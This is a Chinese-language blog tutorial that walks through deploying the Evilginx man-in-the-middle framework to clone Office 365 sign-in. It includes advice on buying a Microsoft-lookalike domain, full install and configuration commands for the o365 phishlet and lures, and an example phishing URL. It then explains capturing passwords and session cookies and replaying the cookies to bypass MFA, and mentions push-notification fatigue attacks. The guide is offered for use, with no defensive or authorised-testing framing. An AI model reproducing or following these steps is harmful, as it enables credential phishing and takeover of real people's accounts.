MFA验证可以被轻松绕过?

作者:FancyPig | 发布时间: | 更新时间:

相关阅读

data-postsbox="{"id":17966,"title":"未来密码会消失吗?FIDO2标准会取代密码身份验证吗?","author":"FancyPig","author_id":1,"cover_image":"","cover_video":"","views":1722,"comment_count":3,"category":"knowledge","is_forum_post":false}">{"id":17966,"title":"未来密码会消失吗?FIDO2标准会取代密码身份验证吗?","author":"FancyPig","author_id":1,"cover_image":"","cover_video":"","views":1722,"comment_count":3,"category":"knowledge","is_forum_post":false}

视频讲解

本期视频我们将给大家分享Evilginx中间人攻击框架,通过其中的phishlet模块来镜像Office 365套件网站,我们可以快速获取用户的用户名、密码以及cookie从而实现控制其帐户;在另一个实验中,我们假设已经有了用户名和密码,但是我们需要MFA验证码才可以登录,我们可以通过脚本不断给用户推送通知,造成用户视觉疲劳,最终控制帐户……

图文讲解

什么是 Evilginx?

Evilginx是一个中间人攻击框架,用于网络钓鱼凭证和会话 cookie,然后可用于绕过双因素身份验证保护。该框架可以使用所谓的 phishlet 来镜像网站并欺骗用户输入凭据,例如 Office 365、Gmail 或 Netflix。

由于它是开源的,因此可以使用许多 phishlet,随时可用。

今天,我们重点介绍主版本中包含的 Office 365 phishlet

准备工作

  • 服务器
  • 域名

服务器

接下来我们需要选购一台服务器(基本上大部分网友还只是学生,年龄小于25岁的都可以注册到学生机,低至一个月10元)

然后,需要配置服务器环境,这里推荐使用Debian环境,坑会少些,如果您不会配置可以参考之前的小白教程

data-postsbox="{"id":174,"title":"【小白建站第一期】如何配置服务器环境","author":"FancyPig","author_id":1,"cover_image":"","cover_video":"","views":12184,"comment_count":77,"category":"establish_site","is_forum_post":false}">{"id":174,"title":"【小白建站第一期】如何配置服务器环境","author":"FancyPig","author_id":1,"cover_image":"","cover_video":"","views":12184,"comment_count":77,"category":"establish_site","is_forum_post":false}

域名

域名您可以在下面的链接中购买,因为这里是钓鱼,模仿Office 365,因此建议买一个带microsoft的域名,会略显真实一些

我们这里以阿里云为例,我们搜索想要的域名

购买完成后,在dns管理里设置解析即可,使用A类型(记录类型)解析到我们的服务器ip地址(主机记录)

 安装 Evilginx

首先,我们需要确保已安装wget命令

sudo apt update 
sudo apt install wget -y

下载go文件

wget https://golang.org/dl/go1.17.linux-amd64.tar.gz

通过运行以下命令安装 Go语言

sudo tar -zxvf go1.17.linux-amd64.tar.gz -C /usr/local/

配置 PATH 环境变量

echo "export PATH=/usr/local/go/bin:${PATH}" | sudo tee /etc/profile.d/go.sh
source /etc/profile.d/go.sh

下载github代码

这里需要强调的是原项目地址是

https://github.com/kgretzky/evilginx2

我们这里直接下载某热心网友已经更新好yaml文件的项目

https://github.com/BakkerJan/evilginx2.git

如果您想下载源项目,可以在下方git clone命令后面改成原项目链接

sudo apt-get -y install git make
git clone https://github.com/BakkerJan/evilginx2.git
cd evilginx2
make

全局安装并运行

sudo make install
sudo evilginx

现在我们已经运行了Evilginx,所以在下一步,我们要处理好配置问题

在这一过程中,你可能需要几个方便的命令,可以参考下表

动作命令
启动Evilginxsudo evilginx
退出Evilginxexit
获取钓鱼urllures get-url <id>
获取正在运行的配置文件config
查看全部phishletsphishlets
查看全部sessionssessions
查看指定sessionsessions <id>
清屏clear
隐藏Office 365 phishletphishlets hide o365
显示 Office 365 phishletphishlets unhide o365
相关命令整理
注意钓鱼网站和配置文件的位置

配置Evilginx

首先,我们需要设置域名IP(将域名和IP替换为你自己的值!)。
可选的是,将黑名单设置为未授权,以阻止扫描器无关人员访问。这一点是强烈推荐的。

config domain <你刚刚购买的钓鱼域名>
config ip <你服务器的IP地址>
blacklist unauth

我们配置Office 365 phishlet模板

phishlets hostname o365 <yourdomain>
phishlets enable o365

如果你在这时得到一个SSL/TLS错误,你的DNS记录(还)没有到位。

当启用一个钓鱼网站时,Evilginx将从LetsEncrypt为新域名申请一个免费的SSL证书,这需要该域名是可以被正常访问的。

在下一步,我们将为Office 365钓鱼网站设置诱饵,并设置重定向URL。这个URL是在凭证被钓鱼后使用的,可以是任何你喜欢的东西。在这种情况下,我们使用https://portal.office.com/。

lures create o365
lures edit 0 redirect_url https://portal.office.com
lures get-url 0

我们的钓鱼网站现在是活跃的,可以通过https://login.miicrosofttonline.com/tHKNkmJtURL访问。

当您使用诱饵中的URL时,您将被作为一个 "认证 "会话处理,因此,不会被阻止。

你也可以通过隐藏它来停用你的钓鱼网站。

phishlets hide o365

要取消隐藏的钓鱼网站,只需运行

phishlets unhide o365

在应用程序中的任何时候,你都可以运行help或help <想要查看的命令>获取帮助菜单

捕获MFA验证

  1. 用户输入钓鱼网站,并得到Office 365的登录屏幕。
  2. 输入用户名,并从Azure AD获取公司品牌。
  3. 用户提供密码
  4. 提示用户使用MFA
  5. 提示用户输入KMSI cookie。
  6. 用户被重定向到重定向URL。
  7. 凭证和会话令牌被捕获。

重放被盗令牌

  1. 浏览到https://portal.office.com。
  2. 这里帐户未登录
  3. 使用浏览器扩展删除Cookie。
  4. 从Evilginx复制Cookie,并导入会话。
  5. 在刷新页面后,会话被建立,MFA被绕过。

如果目标正在使用ADFS怎么办?

如果目标域使用ADFS,你应该用相应的ADFS域信息更新yaml文件

cd /
cd usr/share/evilginx/phishlets/
sudo nano o365.yaml
标签:Office, mfa, MFA验证器, mfa验证器安卓, MFA验证是什么, MFA验证码, mfa验证器下载, evilginx2, 中间人, 中间人攻击, 中间人攻击表明什么的重要性, 中间人攻击原理, 中间人攻击利用了什么, 中间人攻击是黑客从合法的传输过程中, man in the middle attack, microsoft office 365